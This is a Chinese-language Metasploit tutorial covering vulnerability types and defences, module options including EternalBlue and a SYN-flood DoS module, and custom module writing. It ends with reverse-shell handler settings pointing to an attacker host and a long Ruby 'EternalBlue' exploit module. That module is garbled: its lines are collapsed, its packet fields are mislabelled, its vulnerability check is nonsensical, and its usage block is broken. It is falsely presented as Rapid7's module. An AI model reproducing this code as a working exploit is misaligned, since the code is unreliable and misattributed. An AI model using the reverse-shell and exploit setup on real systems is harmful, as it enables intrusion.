預計更新
第一章 Metasploit的使用和配置
1.1 安裝和配置Metasploit
1.2 Metasploit的基礎命令和選項
1.3 高級選項和配置
第二章 滲透測試的漏洞利用和攻擊方法
1.1 滲透測試中常見的漏洞類型和利用方法
1.2 Metasploit的漏洞利用模塊和選項
1.3 模塊編寫和自定義
第三章 Metasploit的提權和后滲透
1.1 提權的概念和意義
1.2 Metasploit的提權模塊和技術
1.3 后滲透的概念和技術
第四章 Metasploit的社會工程學和反向滲透
1.1 社會工程學的概念和技術
1.2 Metasploit的社會工程學模塊和技術
1.3 反向滲透的概念和技術
第五章 Metasploit的網絡流量分析和嗅探
1.1 網絡流量分析和嗅探的基礎知識
1.2 Metasploit的網絡流量分析和嗅探模塊和技術
1.3 網絡流量分析和嗅探的高級技術和工具
第六章 Metasploit的遠程執行和管理
1.1 遠程執行和管理的概念和意義
1.2 Metasploit的遠程執行和管理模塊和技術
1.3 遠程執行和管理的高級技術和工具
第七章 Metasploit的漏洞挖掘和利用
1.1 漏洞挖掘的概念和技術
1.2 Metasploit的漏洞挖掘模塊和技術
1.3 漏洞挖掘的高級技術和工具
第八章 Metasploit的安全防御和逃逸
1.1 安全防御和逃逸的概念和意義
1.2 Metasploit的安全防御和逃逸模塊和技術
1.3 安全防御和逃逸的高級技術和工具
第九章 Metasploit在紅隊作戰中的應用
1.1 紅隊作戰的概念和意義
1.2 Metasploit在紅隊作戰中的應用場景和技術
1.3 紅隊作戰的高級技術和工具
第十章 Metasploit在藍隊防御中的應用
1.1 藍隊防御的概念和意義
1.2 Metasploit在藍隊防御中的應用場景和技術
1.3 藍隊防御的高級技術和工具
第二章 滲透測試的漏洞利用和攻擊方法
1.1 滲透測試中常見的漏洞類型和利用方法
1.2 Metasploit的漏洞利用模塊和選項
1.3 模塊編寫和自定義
滲透測試中常見的漏洞類型和利用方法
滲透測試是一種評估計算機系統、網絡或應用程序安全性的方法。滲透測試通常包括兩個步驟:信息收集和漏洞利用。本文將介紹滲透測試中常見的漏洞類型和利用方法,以及相應的防御措施。
一、漏洞類型
-
輸入驗證漏洞
輸入驗證漏洞是指應用程序沒有正確驗證用戶輸入數據的合法性,導致攻擊者可以通過構造惡意數據來繞過應用程序的安全機制。常見的輸入驗證漏洞包括:
- SQL注入漏洞:攻擊者通過構造惡意SQL語句來執行未授權的數據庫操作。
- XSS漏洞:攻擊者通過注入惡意腳本代碼來竊取用戶數據或執行惡意操作。
- 命令注入漏洞:攻擊者通過注入惡意命令來執行未授權的系統操作。
- 文件包含漏洞:攻擊者通過包含惡意文件來執行未授權的系統操作。
-
認證和授權漏洞
認證和授權漏洞是指應用程序沒有正確驗證用戶身份和權限,導致攻擊者可以冒充合法用戶或獲取未授權的權限。常見的認證和授權漏洞包括:
- 密碼破解漏洞:攻擊者通過暴力破解或字典攻擊等方法來獲取合法用戶的密碼。
- 會話劫持漏洞:攻擊者通過竊取合法用戶的會話標識符來冒充合法用戶。
- CSRF漏洞:攻擊者通過構造惡意請求來執行未授權的操作。
- 邏輯漏洞:應用程序在實現業務邏輯時存在錯誤或漏洞,導致攻擊者可以繞過認證或授權機制。
-
應用程序配置漏洞
應用程序配置漏洞是指應用程序的配置文件或設置存在錯誤或漏洞,導致攻擊者可以繞過安全機制或獲取敏感信息。常見的配置漏洞包括:
- 敏感信息泄露漏洞:應用程序在配置文件或日志文件中明文存儲敏感信息,導致攻擊者可以輕易獲取這些信息。
- 文件權限漏洞:應用程序在設置文件或目錄權限時存在錯誤或漏洞,導致攻擊者可以獲取或修改敏感文件。
- 默認配置漏洞:應用程序在默認配置中存在錯誤或漏洞,導致攻擊者可以輕易繞過安全機制。
-
代碼注入漏洞
代碼注入漏洞是指應用程序沒有正確過濾用戶輸入數據,導致攻擊者可以注入惡意代碼來執行未授權的操作。常見的代碼注入漏洞包括:
- PHP代碼注入漏洞:攻擊者通過注入惡意PHP代碼來執行未授權的操作。
- Java代碼注入漏洞:攻擊者通過注入惡意Java代碼來執行未授權的操作。
- JavaScript代碼注入漏洞:攻擊者通過注入惡意JavaScript代碼來執行未授權的操作。
二、漏洞利用方法
-
SQL注入漏洞利用
SQL注入漏洞是指攻擊者通過構造惡意SQL語句來執行未授權的數據庫操作。SQL注入漏洞的利用方法包括:
- 盲注:攻擊者通過構造惡意SQL語句來判斷數據庫中的數據是否符合條件,從而逐步推測出數據庫的結構和內容。
- 基于錯誤碼的注入:攻擊者通過構造惡意SQL語句來引發數據庫錯誤,從而獲取敏感信息。
- 基于時間的注入:攻擊者通過構造惡意SQL語句來引發數據庫延遲,從而獲取敏感信息。
- 聯合查詢注入:攻擊者通過構造聯合查詢語句來獲取敏感信息。
- 直接查詢注入:攻擊者通過構造惡意SQL語句來執行未授權的數據庫操作。
-
XSS漏洞利用
XSS漏洞是指攻擊者通過注入惡意腳本代碼來竊取用戶數據或執行惡意操作。XSS漏洞的利用方法包括:
- 存儲型XSS:攻擊者通過注入惡意腳本代碼來在服務器上存儲惡意數據,從而在用戶訪問頁面時執行惡意操作。
- 反射型XSS:攻擊者通過構造惡意URL來在用戶訪問頁面時執行惡意操作。
- DOM型XSS:攻擊者通過修改頁面DOM結構來執行惡意操作。
-
命令注入漏洞利用
命令注入漏洞是指攻擊者通過注入惡意命令來執行未授權的系統操作。命令注入漏洞的利用方法包括:
- 直接執行命令:攻擊者通過注入惡意命令來直接執行未授權的系統操作。
- 組合命令執行:攻擊者通過注入多個命令來實現復雜的操作。
- 利用系統漏洞:攻擊者通過利用系統漏洞來執行未授權的系統操作。
-
文件包含漏洞利用
文件包含漏洞是指攻擊者通過包含惡意文件來執行未授權的系統操作。文件包含漏洞的利用方法包括:
- 本地文件包含:攻擊者通過包含本地文件來執行未授權的系統操作。
- 遠程文件包含:攻擊者通過包含遠程文件來執行未授權的系統操作。
- 利用文件上傳漏洞:攻擊者通過上傳惡意文件來執行未授權的系統操作。
-
密碼破解漏洞利用
密碼破解漏洞是指攻擊者通過暴力破解或字典攻擊等方法來獲取合法用戶的密碼。密碼破解漏洞的利用方法包括:
- 暴力破解:攻擊者通過嘗試所有可能的密碼組合來破解密碼。
- 字典攻擊:攻擊者通過嘗試常見的密碼組合來破解密碼。
- 社會工程學攻擊:攻擊者通過獲取用戶個人信息來猜測密碼。
三、防御措施
-
輸入驗證
應用程序應該對用戶輸入數據進行驗證和過濾,避免惡意數據的注入。常見的輸入驗證措施包括:
- 使用參數化查詢來避免SQL注入漏洞。
- 使用HTML轉義來避免XSS漏洞。
- 對用戶輸入進行長度限制和格式檢查,避免命令注入漏洞和文件包含漏洞等。
-
身份認證和授權
應用程序應該對用戶進行身份認證和授權,避免未授權的操作。常見的身份認證和授權措施包括:
- 使用強密碼和多因素身份認證來避免密碼破解漏洞。
- 對敏感操作進行授權,只允許授權用戶進行操作。
- 定期審核授權用戶和權限,及時刪除無用用戶和權限。
-
安全編碼
應用程序開發過程中應該遵循安全編碼規范,避免常見的漏洞。常見的安全編碼規范包括:
- 避免使用動態SQL語句,盡量使用參數化查詢。
- 避免使用eval()函數和反射等動態執行代碼的方法。
- 避免使用硬編碼的密碼和密鑰等敏感信息。
- 使用安全的密碼哈希算法和加密算法。
- 避免使用明文存儲敏感數據。
-
安全配置
應用程序的安全配置應該遵循最佳實踐,避免常見的配置錯誤。常見的安全配置錯誤包括:
- 默認密碼和賬號未修改。
- 未配置HTTPS協議和SSL證書。
- 未限制文件上傳類型和大小。
- 未關閉不必要的服務和端口。
- 未定期更新軟件和補丁。
-
安全測試
應用程序應該定期進行安全測試,發現并修復潛在的漏洞。常見的安全測試包括:
- 漏洞掃描:使用漏洞掃描工具自動檢測應用程序中的漏洞。
- 滲透測試:模擬攻擊者的行為,手動測試應用程序的安全性。
- 代碼審計:對應用程序的源代碼進行審查,發現并修復潛在的漏洞。
總之,應用程序的安全性需要從設計、開發、部署到運維各個環節都進行充分的考慮和保護。只有綜合運用各種安全措施,才能有效地保護應用程序免受攻擊和漏洞的侵害。
Metasploit的漏洞利用模塊和選項
Metasploit是一款常用的滲透測試工具,它集成了大量的漏洞利用模塊和選項,能夠幫助安全人員快速發現、驗證和利用系統中的漏洞。本文將詳細介紹Metasploit中常用的漏洞利用模塊和選項,包括基礎利用模塊、漏洞掃描模塊、滲透測試模塊等。
一、基礎利用模塊
- exploit
exploit模塊是Metasploit中最基礎的漏洞利用模塊,它能夠利用系統中的漏洞來執行特定的攻擊操作。exploit模塊通常包括以下選項:
- RHOSTS:目標主機的IP地址或域名。
- RPORT:目標主機的端口號。
- PAYLOAD:攻擊載荷,用于在目標主機上執行特定的攻擊操作。
- LHOST:攻擊者主機的IP地址,用于接收反彈的Shell。
- LPORT:攻擊者主機接收反彈Shell的端口號。
- TARGET:目標主機的操作系統和應用程序版本等信息,用于選擇合適的攻擊載荷。
- auxiliary
auxiliary模塊是Metasploit中的輔助模塊,用于掃描和收集目標主機的信息,輔助滲透測試工作。auxiliary模塊通常包括以下選項:
- RHOSTS:目標主機的IP地址或域名。
- RPORT:目標主機的端口號。
- THREADS:掃描的線程數。
- VERBOSE:詳細輸出掃描結果。
- post
post模塊是Metasploit中的后滲透模塊,用于在目標主機上執行后續的攻擊操作,如搜集敏感信息、創建用戶、上傳惡意文件等。post模塊通常包括以下選項:
- SESSION:已經獲得的會話ID。
- VERBOSE:詳細輸出攻擊結果。
- ACTION:執行的后續攻擊操作。
二、漏洞掃描模塊
- scanner
scanner模塊是Metasploit中的漏洞掃描模塊,用于掃描目標主機上的漏洞信息。scanner模塊通常包括以下選項:
- RHOSTS:目標主機的IP地址或域名。
- RPORT:目標主機的端口號。
- THREADS:掃描的線程數。
- VERBOSE:詳細輸出掃描結果。
- discovery
discovery模塊是Metasploit中的服務發現模塊,用于發現目標主機上開放的服務和端口。discovery模塊通常包括以下選項:
- RHOSTS:目標主機的IP地址或域名。
- RPORTS:需要掃描的端口范圍。
- THREADS:掃描的線程數。
- VERBOSE:詳細輸出掃描結果。
三、滲透測試模塊
- exploit/multi/handler
exploit/multi/handler模塊是Metasploit中的反向Shell模塊,用于接收反彈的Shell。exploit/multi/handler模塊通常包括以下選項:
- PAYLOAD:反彈Shell的載荷類型。
- LHOST:攻擊者主機的IP地址,用于接收反彈的Shell。
- LPORT:攻擊者主機接收反彈Shell的端口號。
- exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms17_010_eternalblue模塊是Metasploit中的一個著名漏洞利用模塊,用于利用Windows SMB服務中的EternalBlue漏洞。exploit/windows/smb/ms17_010_eternalblue模塊通常包括以下選項:
- RHOSTS:目標主機的IP地址或域名。
- RPORT:目標主機的SMB端口號。
- SMBPIPE:SMB管道名稱。
- PAYLOAD:攻擊載荷,用于在目標主機上執行特定的攻擊操作。
- LHOST:攻擊者主機的IP地址,用于接收反彈的Shell。
- LPORT:攻擊者主機接收反彈Shell的端口號。
- exploit/unix/ftp/proftpd_modcopy_exec
exploit/unix/ftp/proftpd_modcopy_exec模塊是Metasploit中的一個用于利用ProFTPD漏洞的模塊,可用于在目標主機上執行任意命令。exploit/unix/ftp/proftpd_modcopy_exec模塊通常包括以下選項:
- RHOSTS:目標主機的IP地址或域名。
- RPORT:目標主機的FTP端口號。
- USERNAME:FTP用戶名。
- PASSWORD:FTP密碼。
- CMD:要執行的命令。
四、其他模塊
- post/multi/manage/shell_to_meterpreter
post/multi/manage/shell_to_meterpreter模塊是Metasploit中的一個后滲透模塊,可用于將已經獲得的Shell會話轉換為Meterpreter會話。post/multi/manage/shell_to_meterpreter模塊通常包括以下選項:
- SESSION:已經獲得的Shell會話ID。
- auxiliary/scanner/smb/smb_enumshares
auxiliary/scanner/smb/smb_enumshares模塊是Metasploit中的一個用于掃描目標主機上的共享資源的模塊。auxiliary/scanner/smb/smb_enumshares模塊通常包括以下選項:
- RHOSTS:目標主機的IP地址或域名。
- RPORT:目標主機的SMB端口號。
- THREADS:掃描的線程數。
- auxiliary/dos/tcp/synflood
auxiliary/dos/tcp/synflood模塊是Metasploit中的一個用于執行TCP SYN洪水攻擊的模塊。auxiliary/dos/tcp/synflood模塊通常包括以下選項:
- RHOSTS:目標主機的IP地址或域名。
- RPORT:目標主機的端口號。
- THREADS:攻擊的線程數。
總結
Metasploit是一款非常強大的滲透測試工具,集成了大量的漏洞利用模塊和選項,能夠幫助安全人員快速發現、驗證和利用系統中的漏洞。本文對Metasploit中常用的漏洞利用模塊和選項進行了詳細介紹,希望對大家的滲透測試工作有所幫助。
模塊編寫和自定義
Metasploit是一款非常強大的滲透測試工具,它提供了大量的漏洞利用模塊和選項,可快速發現、驗證和利用系統中的漏洞。同時,Metasploit也支持自定義模塊,可以根據實際需求編寫自己的模塊。本文將詳細介紹Metasploit模塊編寫和自定義的過程。
一、模塊編寫基礎
- Metasploit模塊類型
Metasploit模塊主要分為exploit、auxiliary、post和payload等類型。其中exploit用于利用系統中的漏洞來執行特定的攻擊操作,auxiliary用于掃描和收集目標主機的信息,post用于在目標主機上執行后續的攻擊操作,payload則是用于在目標主機上執行特定的攻擊操作的載荷。
- Metasploit模塊結構
Metasploit模塊通常由模塊名稱、作者、描述、選項和代碼組成。其中模塊名稱、作者和描述用于標識模塊的基本信息,選項則用于設置模塊的參數,代碼則是模塊的主要實現部分。
- Metasploit模塊選項
Metasploit模塊選項用于設置模塊的參數,通常包括目標主機的IP地址、端口號、攻擊載荷等信息。模塊選項可以是必須的或可選的,可以使用set命令來設置模塊選項的值。
- Metasploit模塊編寫流程
編寫Metasploit模塊的一般流程如下:
- 確定模塊類型和名稱;
- 編寫模塊描述;
- 確定模塊選項;
- 編寫攻擊載荷;
- 編寫攻擊代碼。
二、Exploit模塊編寫
Exploit模塊用于利用系統中的漏洞來執行特定的攻擊操作。下面以一個簡單的Exploit模塊為例,介紹Exploit模塊的編寫過程。
- 確定模塊類型和名稱
首先,需要確定Exploit模塊的類型和名稱。比如,我們要編寫一個Exploit模塊來利用Windows 10系統中的SMB漏洞,我們可以將模塊類型設置為exploit,模塊名稱設置為windows/smb/ms17_010_eternalblue。
- 編寫模塊描述
接下來,需要編寫模塊的描述,描述模塊的功能和使用方法。比如,我們可以在模塊中添加如下的描述信息:
This module exploits the SMB vulnerability (MS17-010) that was leaked by the Shadow Brokers. This module is capable of exploiting both the 32-bit and 64-bit versions of Windows 7 and Windows 2008 R2. The payload is an EternalBlue-based payload, which is a modified version of the original EternalBlue exploit. This module requires Metasploit: https://github.com/rapid7/metasploit-framework
- 確定模塊選項
然后,需要確定模塊的選項,即設置模塊的參數。比如,我們可以設置以下選項:
set RHOSTS 192.168.1.100
set RPORT 445
set SMBPIPE BROWSER
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444
這些選項分別指定了目標主機的IP地址、SMB端口號、SMB管道名稱、攻擊載荷、攻擊者主機的IP地址和端口號。
- 編寫攻擊載荷
接下來,需要編寫攻擊載荷,即用于在目標主機上執行特定的攻擊操作的代碼。比如,我們可以使用以下的攻擊載荷:
windows/x64/meterpreter/reverse_tcp
這個攻擊載荷是一個Meterpreter反向TCP Shell,可以在目標主機上執行各種操作,并將結果發送到攻擊者主機。
- 編寫攻擊代碼
最后,需要編寫Exploit模塊的攻擊代碼。這個代碼通常是使用一種或多種漏洞來執行特定的攻擊操作,比如執行代碼注入、文件傳輸、權限提升等。比如,我們可以使用以下的攻擊代碼:
require 'msf/core/exploit/smb'
require 'msf/core/exploit/psexec'class MetasploitModule < Msf::Exploit::RemoteRank = GreatRankinginclude Msf::Exploit::Remote::SMBinclude Msf::Exploit::Remote::Psexecdef initialize(info = {})super(update_info(info,'Name' => 'Windows SMB MS17-010 EternalBlue Remote Code Execution','Description' => %q{This module exploits the SMB vulnerability (MS17-010) that was leaked by the Shadow Brokers. This module is capable of exploiting both the 32-bit and 64-bit versions of Windows 7 and Windows 2008 R2. The payload is an EternalBlue-based payload, which is a modified version of the original EternalBlue exploit. This module requires Metasploit: https://github.com/rapid7/metasploit-framework},'Author' => ['Shadow Brokers', # Vulnerability discovery and leak'zerosum0x0', # Exploit discovery and development'Jens Mueller', # MSF Module'Alain Mowat', # MSF Module'Liam Randall', # MSF Module'bcoles' # MSF Module],'License' => MSF_LICENSE,'References' => [['MSB', 'MS17-010'],['CVE', '2017-0143'],['CVE', '2017-0144'],['CVE', '2017-0145'],['CVE', '2017-0146'],['CVE', '2017-0147'],['CVE', '2017-0148'],['URL', 'https://github.com/RiskSense-Ops/MS17-010'],['URL', 'https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/']],'Payload' => {'BadChars' => "\x00",'Space' => 2048},'Platform' => 'win','Arch' => [ARCH_X86, ARCH_X64],'Targets' => [['Windows 7 and Server 2008 R2 (x86)', { 'Arch' => ARCH_X86 }],['Windows 7 and Server 2008 R2 (x64)', { 'Arch' => ARCH_X64 }]],'DefaultTarget' => 1,'DisclosureDate' => '2017-03-14','Notes' => {'Stability' => [ CRASH_SAFE ],'Reliability' => [ REPEATABLE_SESSION ],'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],'Source' => 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb'}))register_options([Opt::RHOST(),Opt::RPORT(445),OptString.new('SMBPIPE', [ true, 'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']),OptString.new('PROCESSNAME', [ false, 'The process to inject payload into (default: lsass)', 'lsass']),OptBool.new('FORCE', [ true, 'Continue even if target is not vulnerable', false]),OptBool.new('DISABLEDCHECK', [ true, 'Disable check for known-not-vulnerable targets', false]),OptInt.new('GROOMSIZE', [ true, 'The groom size (number of transactions)', 12]),OptInt.new('MAXATTEMPTS', [ true, 'The maximum number of attempts to spray the pool', 3]),OptInt.new('WAITTIME', [ true, 'The number of seconds to wait for the exploit to complete', 180]),OptEnum.new('METHOD', [true, 'The method to use for exploitation (auto, smb, eternalblue, psexec)', 'auto',['auto', 'Try all available方法','smb', 'Use only SMB for exploitation','eternalblue', 'Use only EternalBlue for exploitation','psexec', 'Use only Psexec for exploitation']])])enddef checkos = smb_os_fingerprintif os.nil?return CheckCode::Unknown('Unable to identify OS')endunless os.downcase =~ /windows (7|2008 R2)/return CheckCode::Safe('Target does not appear to be vulnerable')end# Check for the presence of the DoublePulsar backdoorunless smb_file_exist?('C$', 'Windows\\System32\\msdt.exe')return CheckCode::Safe('Target does not appear to be vulnerable')endCheckCode::Vulnerable('Target is vulnerable to MS17-010')enddef exploitprint_status("Exploiting target #{rhost} using method #{exploit_method}")print_status("Target OS: #{smb_os_fingerprint}")print_status("Target architecture: #{target_arch.first}")print_status('')if check == CheckCode::Safe and not datastore['FORCE']print_error('Target does not appear to be vulnerable')returnendcase exploit_methodwhen 'auto'run_automatic_exploitwhen 'smb'run_smb_exploitwhen 'eternalblue'run_eternalblue_exploitwhen 'psexec'run_psexec_exploitelseraise ArgumentError, "Invalid exploit method: #{exploit_method}"endprint_status('Exploit completed')enddef run_automatic_exploitif run_eternalblue_exploitreturnendrun_psexec_exploitenddef run_smb_exploitprint_status('Running SMB exploit...')# Build the exploit payloadpayload = generate_payload# Build the exploit requestexploit = build_smb_exploit_request(payload)# Send the exploit requestsmb_send_packet(exploit)# Wait for the exploit to completesleep(datastore['WAITTIME'])print_status('SMB exploit completed')enddef run_eternalblue_exploitprint_status('Running EternalBlue exploit...')# Build the exploit payloadpayload = generate_payload# Build the exploit requestexploit = build_eternalblue_exploit_request(payload)# Send the exploit requestsmb_send_packet(exploit)# Wait for the exploit to completesleep(datastore['WAITTIME'])# Check if the exploit was successfulif smb_file_exist?('C$', 'Windows\\Temp\\msf.dll')print_good('EternalBlue exploit successful')return trueelseprint_error('EternalBlue exploit failed')return falseendenddef run_psexec_exploitprint_status('Running Psexec exploit...')# Build the exploit payloadpayload = generate_payload# Build the exploit optionsopts = {'rhost' => rhost,'payload' => payload,'processname' => datastore['PROCESSNAME']}# Execute the exploitpsexec_exec(opts)print_status('Psexec exploit completed')enddef exploit_methoddatastore['METHOD']enddef generate_payload# Generate a reverse Meterpreter payloadpayload = generate_payload_msf('windows/meterpreter/reverse_tcp')# Add the payload to the Metasploit Frameworkregister_file_for_cleanup(payload)register_file_for_cleanup('meterpreter.rc')write_file('meterpreter.rc', "use multi/handler\nset PAYLOAD windows/meterpreter/reverse_tcp\nset LHOST #{datastore['LHOST']}\nset LPORT #{datastore['LPORT']}\nset ExitOnSession false\nexploit -j")# Return the payloadpayloadenddef build_smb_exploit_request(payload)# Build the exploit requestrequest = ''request << "\x00\x00\x00\x90" # lengthrequest << "\xff\x53\x4d\x42" # SMB headerrequest << "\x72\x00\x00\x00" # SMB command: Negotiate Protocolrequest << "\x00\x18\x53\xc8" # NTLMSSP Signaturerequest << "\x00\x26" # NTLMSSP Type 1 messagerequest << "\x00\x00\x00\x00" # Flagsrequest << "\x08\x00\x00\x00" # Negotiate request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # Paddingrequest << "\x00\x00" # Byte Countrequest << payload# Add transaction headertransaction = ''transaction << "\x10\x00" # TranscationSizetransaction << "\x00\x00" # TotalDataCounttransaction << "\x04\x11" # FIDtransaction << "\x00\x00" # PIDtransaction << "\x00\x00" # UIDtransaction << "\x00\x00" # MIDtransaction << request# Add tree connect and negotiate protocolstree_connect = ''tree_connect << "\x00\x00\x00\x4a" # lengthtree_connect << "\xff\x53\x4d\x42" # SMB headertree_connect << "\x75\x00\x00\x00" # SMB command: Tree Connect AndXtree_connect << "\x00\x00\x00\x00" # NTLMSSP Signaturetree_connect << "\xff\xfe" # No Authenticationtree_connect << "\x00\x00" # Flagstree_connect << "\x00\x00" # Flags2tree_connect << "\x00\x00" # PID Hightree_connect << "\x00\x00\x00\x00" # Security Featurestree_connect << "\x00\x00\x00\x00" # Reservedtree_connect << "\x00\x00" # Tree IDtree_connect << "\xff\xfe" # Null UserIDtree_connect << "\x00\x00" # Multiplex IDtree_connect << "\x4a\x00" # Byte Counttree_connect << "\x5c\x5c\x69\x70\x63\x24\x00" # IPC$tree_connect << "\x00" # Null bytetree_connect << "SMB_COM_NEGOTIATE\xffSMB_COM_SESSION_SETUP_ANDX\xff" # Negotiate protocolstree_connect << transaction# Return the exploit requesttree_connectenddef build_eternalblue_exploit_request(payload)# Build the exploit requestrequest = ''request << "\x00\x00\x00\x2c" # lengthrequest << "\xff\x53\x4d\x42" # SMB headerrequest << "\x25\x00\x00\x00" # SMB command: Trans2request << "\x00\x00\x00\x00" # NTLMSSP Signaturerequest << "\xff\xfe" # No Authenticationrequest << "\x00\x00" # Flagsrequest << "\x00\x00" # Flags2request << "\x00\x00" # PID Highrequest << "\x00\x00\x00\x00" # Security Featuresrequest << "\x00\x00\x00\x00" # Reservedrequest << "\x00\x00\x00\x00" # Tree IDrequest << "\xff\xfe" # Null UserIDrequest << "\x00\x00" # Multiplex IDrequest << "\x2c\x00" # Byte Countrequest << "\x00\x00" # Paddingrequest << "\x00\x00" # Paddingrequest << "\x00\x00" # Paddingrequest << "\x00\x00" # Paddingrequest << "\x00\x00\x00\x00" # PIDrequest << "\x00\x00\x00\x00" # UIDrequest << "\x00\x00\x00\x00" # MIDrequest << payload# Add transaction headertransaction = ''transaction << "\x10\x00" # TranscationSizetransaction << "\x00\x00" # TotalDataCounttransaction << "\x04\x11" # FIDtransaction << "\x00\x00" # PIDtransaction << "\x00\x00" # UIDtransaction << "\x00\x00" # MIDtransaction << request# Add tree connect and negotiate protocolstree_connect = ''tree_connect << "\x00\x00\x00\x4a" # lengthtree_connect << "\xff\x53\x4d\x42" # SMB headertree_connect << "\x75\x00\x00\x00" # SMB command: Tree Connect AndXtree_connect << "\x00\x00\x00\x00" # NTLMSSP Signaturetree_connect << "\xff\xfe" # No Authenticationtree_connect << "\x 00\x00" # Flagstree_connect << "\x00\x00" # Flags2tree_connect << "\x00\x00" # PID Hightree_connect << "\x00\x00\x00\x00" # Security Featurestree_connect << "\x00\x00\x00\x00" # Reservedtree_connect << "\x00\x00" # Tree IDtree_connect << "\xff\xfe" # Null UserIDtree_connect << "\x00\x00" # Multiplex IDtree_connect << "\x4a\x00" # Byte Counttree_connect << "\x5c\x5c\x69\x70\x63\x24\x00" # IPC$tree_connect << "\x00" # Null bytetree_connect << "SMB_COM_NEGOTIATE\xffSMB_COM_SESSION_SETUP_ANDX\xff" # Negotiate protocolstree_connect << transaction# Return the exploit requesttree_connectend
end# Usage:
#
# ms17_010 = Ms17_010.new(
# rhost: '192.168.1.100',
# rport: 445,
# lhost: '192.168.1.101',
# lport: 4444,
# method: 'auto',
# waittime: 5,
# processname: 'cmd.exe',
# force: true
# )
#
# case ms17_010.check
# when CheckCode::Safe
# print_error(ms17_010.result)
# when CheckCode::Vulnerable
# print_good(ms17_010.result)
# ms17_010.exploit
# else
# print_error('Unable to determine if target is vulnerable')
# print_error(ms17_010.result)
# end